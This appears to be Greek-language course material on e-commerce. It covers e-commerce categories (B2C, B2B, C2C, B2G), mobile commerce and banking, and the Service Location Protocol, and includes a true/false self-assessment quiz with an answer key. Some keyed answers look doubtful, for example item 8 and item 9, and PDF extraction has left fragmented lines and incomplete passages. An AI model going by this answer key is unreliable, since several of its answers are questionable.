Ανάλογα με το βαθμό της ψηφιοποίησης κάθε μιας από τις φάσεις αυτές μπορεί να γίνει λόγος για άμεσο ή έμμεσο ηλεκτρονικό εμπόριο. (Turban, 2004) Το τρίτο σημαντικό σημείο του ορισμού αφορά τα αντικείμενα των συναλλαγών: το ηλεκτρονικό εμπόριο δεν αφορά μόνο αγαθά, αλλά υπηρεσίες και πληροφορίες. Επισημαίνεται ότι στη διεθνή επιστημονική κοινότητα επικρατεί η τάση να χρησιμοποιείται ο όρος «προϊόν» για να περιγράψει τόσο αγαθά όσο και υπηρεσίες. Το ηλεκτρονικό εμπόριο διακρίνεται σε έμμεσο και άμεσο. Ο πρώτος όρος χρησιμοποιείται όταν πρόκειται για την ηλεκτρονική παραγγελία υλικών αγαθών που μπορούν να παραδοθούν μόνο με παραδοσιακούς τρόπους όπως είναι το ταχυδρομείο. Άμεσο είναι το ηλεκτρονικό εμπόριο που περιλαμβάνει παραγγελία, πληρωμή και παράδοση άυλων αγαθών και υπηρεσιών. Η πληρωμή των υπηρεσιών αυτών γίνεται είτε με πιστωτικές κάρτες είτε με ηλεκτρονικό χρήμα με την αρωγή πάντα και τη σύμπραξη των τραπεζών.

Όπως ήδη αναφέρθηκε και παραπάνω, υπάρχει μια βασική κατηγοριοποίηση του ηλεκτρονικού εμπορίου με βάση τη φύση και την ιδιότητα του πωλητή και του τελικού αγοραστή. (McGann, 2002).Αυτές οι κατηγορίες είναι οι εξής: (Nydegger, 2001), (Πομπόρτσης & Τσουλφάς, 2002) Αφορά τις πωλήσεις από επιχειρήσεις σε καταναλωτές. Ουσιαστικά πρόκειται για λιανικό ηλεκτρονικό εμπόριο. Είναι η κατηγορία στην οποία ανήκουν όλες οι εφαρμογές Ηλεκτρονικού Εμπορίου, οι οποίες αναπτύσσονται με στόχο την πώληση προϊόντων απευθείας στους τελικούς καταναλωτές. Δηλαδή, οι καταναλωτές μπορούν να βρουν πληροφορίες για πολλά προϊόντα μέσα από τις ιστοσελίδες, να αγοράσουν προϊόντα χρησιμοποιώντας πιστωτικές κάρτες ακόμη και να παραλάβουν αμέσως τα προϊόντα από το δίκτυο, αν αυτά μπορούν να αποσταλούν σε ψηφιακή μορφή. Η κατηγορία αυτή εξαπλώθηκε γρήγορα με την ανάπτυξη του Παγκόσμιου Ιστού και των τεχνολογιών πληρωμής μέσω Internet. Τώρα, υπάρχουν εμπορικά κέντρα σε όλο το Internet, τα οποία προσφέρουν κάθε είδος καταναλωτικών αγαθών. Ειδικά, οι εταιρείες πληροφορικής, που ήταν οι πρώτες που εισέβαλαν σ' αυτό το χώρο του ηλεκτρονικού εμπορίου, ίδρυσαν μια καινούρια αγορά μέσω του Internet και προσφέρουν on-line κάθε είδος προϊόντος λογισμικού, όπως επίσης και υπηρεσίες, αναβαθμίσεις και τεχνική υποστήριξη στους πελάτες τους. Στην περιοχή του B2C υπάρχουν τομείς που σημειώνουν επιτυχία όπως: 1.

κτηματομεσιτικά, οι καταναλωτές μπορούν να έχουν πολλές εικόνες ή ακόμη και

συνολική άποψη των διαμερισμάτων. Ο καταναλωτής μπορεί να πραγματοποιήσει αναζήτηση µε την τιμή, την περιοχή ή µε βάση τον αριθμό των δωματίων. 2.

ταξίδια, οι καταναλωτές έχουν την δυνατότητα να δουν εικόνες του προορισμού τους,

τις εγκαταστάσεις στέγασης, και είναι σε θέση να κλείσουν το ταξίδι απλά κάνοντας μερικά κλικ. Επίσης μπορούν εύκολα να αναζητήσουν την φθηνότερη διαδρομή ή να κάνουν συγκρίσεις. 3.

δημοπρασίες, οι καταναλωτές είναι σε θέση να υποβάλουν προσφορά για ένα αγαθό

µέσω του διαδικτύου χωρίς να είναι παρόντες. 4.

Τραπεζικές συναλλαγές που περιλαμβάνουν την διαχείριση των οικονομικών ενός

ατόμου ή επενδύσεις µε τη χρήση της ηλεκτρονικής τραπεζικής. Η μορφή ηλεκτρονικού εμπορίου B2C μειώνει το κόστος των συναλλαγών (ιδιαίτερα το κόστος αναζήτησης), αυξάνοντας την πρόσβαση των καταναλωτών στις πληροφορίες και επιτρέποντας τους να βρίσκουν τις πιο ανταγωνιστικές τιμές για ένα προϊόν ή υπηρεσία. Επίσης διευκολύνει την είσοδο στην αγορά ενός οργανισμού, δεδομένου ότι το κόστος της

θέσης και διατήρησης μιας ιστοσελίδας είναι πολύ φθηνότερο από την δημιουργία ενός κανονικού καταστήματος. Επιπρόσθετα η μορφή B2C απαλλάσσει τις επιχειρήσεις το πρόσθετο κόστος ενός φυσικού δικτύου διανομής. Επιπλέον, για τις χώρες όπου ο αριθμός των ατόμων που χρησιμοποιεί το διαδίκτυο αυξάνει, η διάθεση προϊόντων µέσω του διαδικτύου γίνονται όλο και πιο εφικτή (Zorayda, 2003). Αφορά τις συναλλαγές μεταξύ επιχειρήσεων. Ουσιαστικά πρόκειται για χονδρικό εμπόριο, δηλαδή αφορά κυρίως την αγορά προμηθειών. Χαρακτηριστικό παράδειγμα είναι οι παραγγελίες και οι αγορές ενός εργοστασίου ή ενός εμπορικού οίκου από τους προμηθευτές του. Οι εταιρίες δηλαδή χρησιμοποιούν ένα δίκτυο για τις παραγγελίες τους από προμηθευτές,

λαµβάνοντας

τιµολόγια,

πραγματοποιώντας

πληρωµές

και

γενικά

διευκολύνοντας τη ροή των εργασιών τους. Αφορά τις συναλλαγές ανάμεσα σε εταιρείες ή ιδιώτες και φορείς της Δημόσιας Διοίκησης. Για παράδειγμα, στις Ηνωμένες πολιτείες δημοσιεύονται οι λεπτομέρειες των προσεχών κυβερνητικών προμηθειών στο Internet και οι εταιρείες μπορούν να ανταποκριθούν ηλεκτρονικά. Αυτή η κατηγορία είναι ακόμη στα πρώτα της βήματα, αλλά πρόκειται να επεκταθεί ραγδαία. Ήδη στα πλαίσια του επιχειρησιακού προγράμματος Κοινωνία της Πληροφορίας προγραμματίζεται να αναπτυχθούν πολλές εφαρμογές οι οποίες θα εξυπηρετούν την συναλλαγή των πολιτών αλλά και των επιχειρήσεων με φορείς της Δημόσιας Διοίκησης. Σε αυτή την κατηγορία εφαρμογών ανήκει και το πρόγραμμα TAXIS, το οποίο λειτουργεί τα τελευταία χρόνια στην Ελλάδα και μέσω του οποίου μπορεί να γίνει υποβολή φορολογικών Δηλώσεων, Δηλώσεων ΦΠΑ κ.λπ. Επίσης λειτουργεί ο δικτυακός τόπος www.e-gov.gr, <http://www.e-gov.gr/> ο οποίος φιλοδοξεί να συγκεντρώσει όλες τις δικτυακές κυβερνητικές υπηρεσίες Η εσωτερική χρήση εφαρμογών του ηλεκτρονικού εμπορίου έχει ως στόχο την αποτελεσματικότερη λειτουργία των δραστηριοτήτων μιας επιχείρησης, ώστε να μπορεί να προσφέρει καλύτερα προϊόντα και υπηρεσίες στους πελάτες της. Οι εφαρμογές που συνήθως εντάσσονται στη λειτουργία ενός εσωτερικού διαδικτύου, intranet μιας επιχείρησης είναι οι εξής: ·

Επικοινωνία μεταξύ ομάδων εργασίας

·

Ηλεκτρονική δημοσίευση

·

Παραγωγικότητα πωλήσεων

Ουσιαστικά, περιλαμβάνει όλες τις εσωτερικές οργανισμικές δραστηριότητες, που σχετίζονται με ανταλλαγή αγαθών, υπηρεσιών ή πληροφοριών ανάμεσα σε διάφορες μονάδες και άτομα του οργανισμού. Οι δραστηριότητες ποικίλουν από πώληση εταιρικών αγαθών σε υπαλλήλους μέχρι online εκπαίδευση και συνεργατικές δραστηριότητες σχεδίασης. Το ενδοεπιχειρησιακό ηλεκτρονικό εμπόριο γίνεται συνήθως σε ενδοδίκτυα ή σε εταιρικές πύλες. Η συγκεκριμένη κατηγορία καλύπτει όλες τις συναλλαγές μεταξύ επιχειρήσεων και δημοσίων οργανισμών. Η μορφή αυτή ηλεκτρονικού εμπορίου αναμένεται να γνωρίσει έκρηξη τα επόµενα χρόνια καθώς ολοένα και περισσότερες υπηρεσίες πληροφόρησης και ενημέρωσης παρέχονται από κρατικούς φορείς µέσω Internet. Είναι η περίπτωση ενδοκυβερνητικών συναλλαγών και ανταλλαγής πληροφοριών Σε αυτή την κατηγορία ο καταναλωτής πουλά απευθείας σε άλλους καταναλωτές αντικείμενα, προϊόντα ή υπηρεσίες. Τυπικά αυτές οι συναλλαγές πραγματοποιούνται με τη διαμεσολάβηση μίας εταιρίας ή εταιρικού σχήματος με κάποια διαδικτυακή παρουσία (π.χ.EBay, Amazon) ή αν διεξάγονται κατ' επανάληψη, τότε η πλευρά του πωλητή έχει εταιρική μορφή. Η μορφή ηλεκτρονικού εμπορίου από καταναλωτή σε καταναλωτή εμφανίζεται μεταξύ ιδιωτών ή καταναλωτών. Παραδείγματα C2C ηλεκτρονικού εμπορίου είναι τα εξής: πύλες δημοπρασιών, όπως το eBay, το οποίο επιτρέπει σε πραγµατικό χρόνο υποβολή προσφορών για τα είδη που πωλούνται στο διαδίκτυο. Στις περιπτώσεις αυτές ο καταναλωτής είναι αυτός που οδηγεί και κατευθύνει τις συναλλαγές. Συστήματα ομότιμων κόμβων (peer-to-peer) όπου τα αρχεία που περιέχουν διαφορετικό είδος δεδομένων διαμοιράζονται από έναν χρήστη προς άλλους χρήστες. πύλες διαφήμισης όπου οι χρήστες πωλούν ή αγοράζουν μεταξύ τους διάφορα προϊόντα. αγγελίες σε ιστοσελίδες, ένα διαδραστικό περιβάλλον, άμεσα συνδεδεμένων αγορών όπου οι αγοραστές και οι πωλητές μπορούν να διαπραγματεύονται την αγορά και πώληση αγαθών. Το πρότυπο αυτό αναφέρεται στη χρήση της κινητής τηλεφωνίας και γενικά των διαφόρων συσκευών ασύρµατης επικοινωνίας για πραγματοποίηση συναλλαγών στον Παγκόσμιο Ιστό. Οι συσκευές αυτές εκτός από κινητά τηλέφωνα μπορεί να είναι φορητοί υπολογιστές, προσωπικοί ψηφιακοί βοηθοί και άλλες συσκευές που έχουν τη δυνατότητα άμεσης σύνδεσης στοn Παγκόσμιο Ιστό. Το κινητό εμπόριο ορίζεται σαν την διαδικασία αγοράς και πώλησης προϊόντων ή υπηρεσιών µέσω ασύρματης τεχνολογίας. Με άλλα λόγια είναι η χρήση του κινητού τηλεφώνου ή άλλων κινητών συσκευών για την προώθηση και πώληση προϊόντων, υπηρεσιών και ιδεών, και την

υποστήριξη πελατών πριν και μετά την πώληση. Οι στόχοι του Κινητού Εμπορίου είναι η ανάπτυξη πωλήσεων, η δοκιμή προϊόντος, η αύξηση της συχνότητας αγοράς του προϊόντος η αύξηση των πιστών πελατών, η καθιέρωση ονόματος, η υποστήριξη πελατών, η δημιουργία βάσης δεδομένων αλλά και η έρευνα αγοράς Το πλαίσιο του κινητού εμπορίου περιλαμβάνει τις εξής πλευρές, τους χρήστες των κινητών και τις επιχειρήσεις οι οποίες θέλουν να προβάλλουν και να πουλήσουν ένα προϊόν ή µία υπηρεσία. Οι επιχειρήσεις στέλνουν μηνύματα µέσω τηλεόρασης, ραδιοφώνου και διαδικτύου για να γνωστοποιήσουν ένα προϊόν, µία υπηρεσία ή ένα διαγωνισμό και να προτρέψουν τους χρήστες κινητών τηλεφώνων σε επικοινωνία. Οι τραπεζικές εργασίες που ήδη προσφέρονται από ελληνικές τράπεζες στους πελάτες τους και τις οποίες μπορούν να εκτελέσουν µέσω του κινητού τους τηλεφώνου είναι: Σε ότι αφορά την διαχείριση λογαριασμών: §

Υπόλοιπα και Κινήσεις λογαριασμών,

§

Ανάλυση Υπολοίπου,

§

Αναλυτικά Στοιχεία λογαριασμού,

§

Παραγγελία Βιβλιαρίου Επιταγών

§

Ανάκληση Βιβλιαρίου Επιταγών ή Επιταγής.

Σε ότι αφορά την διαχείριση καρτών: §

Υπόλοιπα και Κινήσεις πιστωτικών καρτών,

§

Αναλυτικά Στοιχεία πιστωτικών καρτών,

§

Πληρωμή άμεσα ή σε μελλοντική ημερομηνία.

Σε ότι αφορά την διαχείριση δανείων: §

Συνολική απεικόνιση των δανείων,

§

Αναλυτικά Στοιχεία δανείων.

Σε ότι αφορά τις πληρωµές και τις µεταφορές: §

Μεταφορά σε λογαριασμό του πελάτη,

§

Μεταφορά σε λογαριασμούς τρίτων,

§

Εντολές πληρωμής τρίτων σε μελλοντική ημερομηνία,

§

εντολές εμβασμάτων,

§

καθορισμός Περιοδικών πληρωμών,

§

αποθήκευση τακτικών πληρωμών για άμεση επανάληψη,

§

αλλαγή λεπτομερειών αποθηκευομένων εντολών πληρωμών,

§

Αναβολή ή Ακύρωση αποθηκευομένων εντολών πληρωμών,

§

αιτιολογία πληρωμών προς ενημέρωση του αποδέκτη,

§

Εντολές πληρωμής ∆ΕΚΟ (ΟΤΕ, ∆ΕΗ),

§

Εντολές πληρωμής (ΙΚΑ, ΦΠΑ, ΤΕΒΕ)

§

Ιστορικό όλων των πληρωμών

§

Αγορές µέσω κινητού πραγματοποιούνται για προϊόντα όπως είναι τα ταξιδιωτικά

εισιτήρια, η ενοικίαση αυτοκινήτων και δωµατίων ξενοδοχείων, εισιτήρια για συναυλίες, θέατρο, κινηµατογράφο, και αγορές δώρων όπως λουλούδια, γλυκά, βιβλία και CD’s.

Σύνοψη Εκπαιδευτικής Ενότητας 1 Στην ενότητα 1, παρουσιάστηκαν αντικείμενα που αναφέρονται στην εισαγωγή του ηλεκτρονικού εμπορίου και την ιστορική εξέλιξη του.

Ερωτήσεις Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 1 Επιλέξτε τη σωστή απάντηση στις παρακάτω ερωτήσεις / διατυπώσεις ΕΡΩΤΗΣΗ

1

Το Internet σήμερα είναι το μεγαλύτερο παγκόσμιο Δίκτυο.

ΑΠΑΝΤΗΣΗ

1

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ

2

Η παγκόσμια εμπειρία έχει δείξει ότι υπάρχουν τρία στάδια που

βιώνουν οι εταιρείες καθώς μπαίνουν στην διαδικασία χρησιμοποίησης του διαδικτύου ως επιχειρηματικό εργαλείο και ως εργαλείο marketing. ΑΠΑΝΤΗΣΗ

ΕΡΩΤΗΣΗ

2

3

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Στο διαδίκτυο οι αλληλεπιδράσεις και κατ’ επέκταση οι συναλλαγές

μεταξύ αγοραστή και προμηθευτή είναι περισσότερο γρήγορες, εξατομικευμένες και οικονομικές. ΑΠΑΝΤΗΣΗ

ΕΡΩΤΗΣΗ

3

4

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Τη δεκαετία του 1980, εμφανίζονται τα συστήματα ηλεκτρονικής

μεταφοράς χρηματικών πόρων (EFT) μεταξύ τραπεζών που χρησιμοποιούν ασφαλή ιδιωτικά δίκτυα τα οποία και αλλάζουν τη μορφή των αγορών.

ΑΠΑΝΤΗΣΗ

ΕΡΩΤΗΣΗ

4

5

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Στα μέσα της δεκαετίας του 1980, η εμφάνιση του Παγκόσμιου

Ιστού (WWW) στο Internet και η επικράτηση των προσωπικών ηλεκτρονικών υπολογιστών (PC) που χρησιμοποιούν λειτουργικά συστήματα τύπου Windows προσφέρουν μεγάλη ευκολία χρήσης λύνοντας το πρόβλημα της δημοσίευσης και της εύρεσης πληροφοριών στο διαδίκτυο. ΑΠΑΝΤΗΣΗ

ΕΡΩΤΗΣΗ

5

6

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Το internet marketing αποτελείται από τα 5 βασικά στοιχεία του

marketing, προσαρμοσμένα στον ηλεκτρονικό κόσμο. ΑΠΑΝΤΗΣΗ

ΕΡΩΤΗΣΗ

6

7

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

Πολλές επιχειρήσεις, αφού πρώτα αποκτήσουν την εμπειρία του

Internet και κατανοήσουν την δυναμική του, προχωρούν σε αξιοποίηση των τεχνικών του δυνατοτήτων του Internet, αναπτύσσοντας εξειδικευμένες εφαρμογές οι οποίες διευκολύνουν συγκεκριμένες λειτουργίες της εταιρίας.

ΑΠΑΝΤΗΣΗ

ΕΡΩΤΗΣΗ

7

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

8

Η μετατροπή των επισκεπτών σε πελάτες είναι αρκετά απλή και

8

Α

ΣΩΣΤΟ

Β

ΛΑΘΟΣ

εύκολη.

ΑΠΑΝΤΗΣΗ

ΕΡΩΤΗΣΗ

9

Υπάρχουν πολλές επιχειρήσεις δημιουργούν ένα website για να

πουλήσουν online . ΑΠΑΝΤΗΣΗ 9

Α

ΣΩΣΤΟ Β

ΛΑΘΟΣ

ΕΡΩΤΗΣΗ 10

Η ηλεκτρονική διαφήμιση παρουσιάζεται με πολλές μορφές μέσα στο

διαδίκτυο. ΑΠΑΝΤΗΣΗ 10 Α

ΣΩΣΤΟ Β

ΛΑΘΟΣ

Απαντήσεις Ερωτήσεων Αυτοαξιολόγησης Εκπαιδευτικής Ενότητας 1 1:

Απάντηση 1. Α

2:

Απάντηση 2. Β

3:

Απάντηση 3. Α

4:

Απάντηση 4. Β

5:

Απάντηση 5. Β

6:

Απάντηση 6. Β

7:

Απάντηση 7. Α

8:

Απάντηση 8. Α

9:

Απάντηση 9. Β

10:

Απάντηση 10. Α

ΕΚΠΑΙΔΕΥΤΙΚΗ ΕΝΟΤΗΤΑ 2: Οφέλη του εμπορίου στο Ίντερνετ Σκοπός αυτής της εκπαιδευτικής ενότητας είναι η παρουσίαση αντικειμένων που αφορούν την χρησιμοποίηση του ίντερνετ στο εμπόριο. ΠΡΟΣΔΟΚΩΜΕΝΑ ΑΠΟΤΕΛΕΣΜΑΤΑ Όταν ολοκληρώσετε τη μελέτη του υλικού αυτής της εκπαιδευτικής ενότητας θα έχετε αποκτήσει γνώσεις και δεξιότητες που αναφέρονται: ΕDI, Basic e-Commerce Communities of Commerce Collaborative Commerce Ηλεκτρονικό Επιχειρείν Οι υποσχέσεις του m-commerce Mobile Commerce Infrastructure Ηλεκτρονικές Αγορές E-marketplaces ΕΝΝΟΙΕΣ – ΚΛΕΙΔΙΑ E-Commerce, E-Business, E-Enterprise, M-Commerce, E-Marketplace, EMalls, E-Procurement, E-Auctions, E-Infobrokers,B2B, B2Government, B2C,C2G. Εμπόριο θεωρείται από κάποιους η διεξαγωγή συναλλαγής μεταξύ εμπορικών εταίρων. Ο όρος «ηλεκτρονικό εμπόριο» φαίνεται αρκετά στενός για κάποιους άλλους, οι οποίοι προτιμούν αντ’ αυτού τον όρο «ηλεκτρονικό Επιχειρείν». Ο όρος αυτός είναι ευρύτερος, καθώς περιλαμβάνει όχι μόνο τις διαδικασίες της αγοραπωλησίας, αλλά επίσης την εξυπηρέτηση πελατών, τη συνεργασία μεταξύ εμπορικών εταίρων καθώς και τη διεξαγωγή ηλεκτρονικών διαδικασιών στα πλαίσια του ίδιου οργανισμού ΤΙ ΕΊΝΑΙ ΤΟ ΗΛΕΚΤΡΟΝΙΚΟ ΕΜΠΟΡΙΟ Το ηλεκτρονικό εμπόριο είναι: Εμπορικές συναλλαγές μέσω Διαδικτύου Συναλλαγές 7 ημέρες την εβδομάδα, 24 ώρες την ημέρα Τεράστιες δυνατότητες και ευκαιρίες για τις επιχειρήσεις

Εδώ παρακολουθούμε μοντέλα - διαστάσεις Ηλεκτρονικού Εμπορίου Εκπαιδευτική Υποενότητα 2.1 Εφαρμογές Ηλεκτρονικού Εμπορίου ΕDI Basic e-Commerce Communities of Commerce Collaborative Commerce To ΕDI σχεδιάστηκε ως σύστημα το οποίο: παραλαμβάνει μεγάλο όγκο πληροφοριών τις κατηγοριοποιεί τις προσφέρει στις εταιρείες υπό μορφή ομάδων Μεγάλο πλεονέκτημα αυτού του είδους επεξεργασίας της πληροφορίας ήταν, η μείωση των λαθών και η ελαχιστοποίηση του χρόνου των συναλλαγών των εταιρειών Μεγάλο μειονέκτημά του η υπερβολική αύξηση του κόστους λόγω της χρήσης εξειδικευμένων δικτύων επικοινωνίας Για πρώτη φορά ένα είδος ηλεκτρονικού εμπορίου ανάμεσα σε αγοραστές και προμηθευτές χωρίς κάποιον διαμεσολαβητικό φορέα

Οι μεγάλες εταιρείες τεχνολογίας αρχίζουν να χρησιμοποιούν τα Web sites τους ως βασικό κανάλι πωλήσεων των προϊόντων τους Ραγδαία ανάπτυξη των εταιρειών που παίζουν τον ρόλο του μεσάζοντα και ονομάζονται third party web destinations Οι εταιρείες αυτές στοχεύουν στο να φέρουν σε επαφή αγοραστές και προμηθευτές στα πλαίσια μιας αγοράς που ονομάζεται community και δε σχετίζεται άμεσα με τα γεωγραφικά όρια και πλαίσια της κάθε εταιρείας Συμμετοχή για πρώτη φορά και υποστήριξη ενδιάμεσων διαδικασιών από ενδιάμεσους φορείς Η γεωγραφική διασπορά των αγορών από μόνη της δημιουργεί προβλήματα στο εμπόριο και τις συναλλαγές Οι συναλλαγές ανάμεσα στις εταιρείες είναι μια αρκετά δύσκολη υπόθεση Οι προμηθευτές δεν γνωρίζουν ακριβώς πότε οι καταναλωτές θα αγοράσουν τα προϊόντα τους, γι αυτό το λόγο φροντίζουν να δημιουργούν αποθέματα για να καλύψουν όλα τα δυνατά σενάρια ζήτησης Οι αγοραστές από την άλλη δεν έχουν μεγάλη δυνατότητα να αναζητούν και να βρίσκουν όλες τις εναλλακτικές πηγές προσφοράς των προϊόντων κάθε φορά που η αγορά (δομή και διάστασή της) αλλάζει H Γεωγραφική Διασπορά Αγορών πριν τη χρήση του Internet Το Internet Ελαχιστοποίησε τα Προβλήματα με τη συνεύρεση «ανακάλυψη» του Αγοραστή και του Πωλητή

Στη διαφάνεια παρουσιάζεται το πλαίσιο εργασίας του ηλεκτρονικού εμπορίου

Πολλοί άνθρωποι πιστεύουν ότι ηλεκτρονικό εμπόριο δεν είναι τίποτα περισσότερο από το να διαθέτει κανείς δική του ιστοσελίδα, όμως το ΗΕ είναι πολύ περισσότερο από αυτό: οι άνθρωποι, το οικονομικό, φορολογικό και νομικό περιβάλλον, τα τεχνολογικά πρότυπα άλλοι Οργανισμοί Οι μορφές του ηλεκτρονικού εμπορίου είναι: E-Commerce (Ηλεκτρονικό Εμπόριο) E-Business (Ηλεκτρονικό Επιχειρείν) E-Enterprise (Ηλεκτρονική Επιχείρηση) M-Commerce (Κινητό Ηλεκτρονικό Εμπόριο) E-Marketplace (Ηλεκτρονική Αγορά, Β2Β) E-Malls (Ηλεκτρονικά Εμπορικά Κέντρα) E-Procurement (Σύστημα Ηλεκτρονικών Προμηθειών) E-Auctions (Σύστημα Ηλεκτρονικών Δημοπρασιών) E-Infobrokers (Μεσίτες πληροφοριών)

Εδώ βλέπουμε πως εργάζεται μια ηλεκτρονική αγορά Μια Τυπικη Συναλλαγη Ηλεκτρονικου Εμποριου Μπορει Να Περιλαμβανει : την παρουσίαση των εμπορευμάτων την προσέλκυση των πελατών (διαφήμιση, marketing) την αλληλεπίδραση με τον πελάτη (κατάλογοι εμπορευμάτων, πωλήσεις) τη διεκπεραίωση παραγγελιών-πωλήσεων (καταγραφή παραγγελιών, πληρωμές) την υποστήριξη των πελατών (after sales support, order tracking)

την επικοινωνία με τους προμηθευτές Κατηγοριοποίηση Όρων ΗΕ: Business-to-Business (B2B) Business-to-Government (B2Government) Business-to-Consumer (B2C) Individual-to-Government (C2G) Business-to-Government (B2Government) Business-to-Consumer (B2C) Individual-to-Government (C2G)

Ηλεκτρονικό Επιχειρείν οι συναλλαγές και η αλληλεπίδραση ανάμεσα στους συνεταίρους της Χαρακτηριστικά της κατηγορίας αυτής είναι η εστίαση της επιχειρηματικότητας στις βασικές ικανότητες του οργανισμού ο προσανατολισμός στη συσσώρευση διαδικασιών.

ΗΛΕΚΤΡΟΝΙΚΗ ΕΠΙΧΕΙΡΗΣΗ Συνδυασμός των κατηγοριών Β2B & B2C

συνδυασμός των παραδοσιακών ενεργητικών της εταιρίας και της αποτελεσματικής διαμεσολάβησης με τους καταναλωτές,πελάτες,διανομείς,συνεργάτες και ανταγωνιστές. Οι συν-ανταγωνιστικοί (co-opetitive) οργανισμοί.

Επιχείρηση –προς –επιχείρηση ΗΕ (Business-to-business, B2B). Περιλαμβάνει το μεγαλύτερο τμήμα του ΗΕ. Περιλαμβάνει τις διεπιχειρησιακές συναλλαγές που ήδη

προαναφέρθηκαν, καθώς και τις συναλλαγές τύπου ηλεκτρονικής αγοράς μεταξύ οργανισμών. Επιχείρηση –προς –καταναλωτή ΗΕ (Business to Consumer, B2C). Σε αυτή την κατηγορία περιλαμβάνονται οι συναλλαγές λιανικής πώλησης με ανεξάρτητους, μεμονωμένους καταναλωτές. Καταναλωτής προς καταναλωτή ΗΕ (Consumer-to-consumer, C2C). Σε αυτή την κατηγορία ο καταναλωτής πουλά απευθείας σε άλλους καταναλωτές. Παράδειγμα αποτελούν τα άτομα που κάνουν πωλήσεις μέσω καταχωρημένων αγγελιών, δικτυακοί τόποι δημοπρασιών, όπου ο οποιοσδήποτε μπορεί να πουλήσει οτιδήποτε. Τέλος, πολλά άτομα κάνουν χρήση intranets και άλλων ενδοεταιρικών δικτύων για να διαφημίσουν αντικείμενα, προϊόντα ή υπηρεσίες. Καταναλωτής προς επιχείρηση ΗΕ (Consumer-to-business, C2B). Αυτή η κατηγορία περιλαμβάνει άτομα που πωλούν προϊόντα ή υπηρεσίες σε οργανισμούς, όπως και άτομα που αναζητούν πωλητές, έρχονται σε επαφή μαζί τους και ολοκληρώνουν μία συναλλαγή. Μη-επιχειρησιακό ΗΕ (non-business EC). Ένας ολοένα αυξανόμενος αριθμός ιδρυμάτων, όπως πχ ακαδημαϊκά ιδρύματα, μη κερδοσκοπικοί οργανισμοί, θρησκευτικές και κοινωνικές οργανώσεις κλπ, κάνουν χρήση διαφόρων τύπων ηλεκτρονικού εμπορίου, με στόχο τη μείωση των δαπανών τους,είτε τη βελτίωση των λειτουργιών και της εξυπηρέτησης των πελατών τους. Διεπιχειρησιακό Ηλεκτρονικό Εμπόριο (Intrabusiness EC). Στην κατηγορία αυτή συμπεριλαμβάνονται όλες οι εσωτερικές δραστηριότητες μίας επιχείρησης, οι οποίες συνήθως διενεργούνται μέσα σε ενδο-εταιρικά δίκτυα και αφορούν ανταλλαγή προιόντων, υπηρεσιών και πληροφοριών. Τέτοιου είδους δραστηριότητες είναι πχ η πώληση των προϊόντων μίας εταιρίας στους υπαλλήλους της, τα διάφορα εκπαιδευτικά προγράμματα, και άλλες δραστηριότητες μείωσης του κόστους Ενας Αλλος Τροπος Προσεγγισης του ΗΕ ειναι η Διακριση του σε : Ηλεκτρονικές Αγορές – Electronic Markets Διεπιχειρησιακά Πληροφοριακά Συστήματα – Interorganisational Information Systems IOS. Βασικοί Φορείς ανάπτυξης του M-Commerce: Παροχείς Δικτυακών Υπηρεσιών Έμπιστα Τρίτα Πρόσωπα Ρυθμιστικά Όργανα (π.χ. ΕΕΤΤ)

Κατασκευαστές Τηλεφώνων και Συσκευών Καταναλωτές Service Location Protocol : είναι ένα πρωτόκολλο για αυτόματη εύρεση πηγών στα πρωτόκολλα του Internet Service Location Protocol είναι ένα προϊόν του Service Location Protocol Working Group (SVRLOC) της ΙΕΤF Τα χαρακτηριστικά του πρωτοκόλλου μπορούν να αναπτυχθούν σε οποιαδήποτε γλώσσα. Το Service Location Protocol infrastructure αποτελείται από τρεις τύπους agents (RFC 2165 version1, 2608 version2): • User Agent (που βρίσκεται π.χ. σε ένα palm pilot και παίρνει τις πληροφορίες από τον SA ή τον DA) • Service Agent (αυτός που κρατάει την πληροφορία της υπηρεσίας) • Directory Agent (διατηρεί τη λίστα με τις υπηρεσίες δικτύου και μπορεί να υπάρχει ένας DΑ για κάθε host) M-Commerce (Mobile Commerce) Παράδειγμα και Χαρακτηριστικά M-Commerce Παράδειγμα Tο Πρόβλημα:Στο Σαν Φρανσίσκο τα λεωφορεία έχουν δυσκολία στο να ακολουθούν το προσχεδιασμένο χρονοδιάγραμμα, ιδιαίτερα κατά τη διάρκεια των ωρών αιχμής Τα προγραμματισμένα δρομολόγια είναι μικρότερης σημασίας Τα αποτελέσματα: Οι ανησυχίες σχετικά με την απώλεια του λεωφορείου είναι μικρές. Μια εταιρεία λεωφορείων μπορεί επίσης να χρησιμοποιήσει το σύστημα για να βελτιώσει τον προγραμματισμό, φροντίζει για επιπλέον λεωφορεία όταν χρειάζεται, και κάνει πιο αποτελεσματική τη λειτουργία του . What we can learn…

Το locatin-based ηλεκτρονικό εμπόριο, αποτελεί πλέον ένα μεγάλο μέρος του κινητού εμπορίου. Οι υπηρεσίες του Ηλεκτρονικού Εμπορίου παρέχονται σε πελάτες, ανεξάρτητα του που βρίσκονται φυσικά. Παράδειγμα είναι η θεωρία και πρακτική του pervasive computing -οι υπηρεσίες υλοποιούνται χωρίς ο χρήστης να γνωρίζει την τεχνολογία που κρύβεται πίσω από αυτές. ΗE σε Ασύρματο Περιβάλλον – Mobile Commerce

Οι υποσχέσεις του m-commerce Η κινητικότητα αλλάζει σημαντικά τον τρόπο με τον οποίο οι άνθρωποι και οι εμπορικοί εταίροι αλληλεπιδρούν, επικοινωνούν και συνεργάζονται Οι κινητές εφαρμογές αναμένεται να αλλάξουν τον τρόπο που ζούμε και κάνουμε τις επιχειρήσεις Ένα μεγάλο κομμάτι της κουλτούρας του Διαδικτύου μπορεί να αλλάξει και να γίνει βασισμένο στις συσκευές κινητής τηλεφωνίας Το M-commerce δημιουργεί τα νέα επιχειρησιακά πρότυπα για το EC, ειδικότερα οι locationbased εφαρμογές Για την Ανάπτυξη του m-commerce συνέβαλλαν:

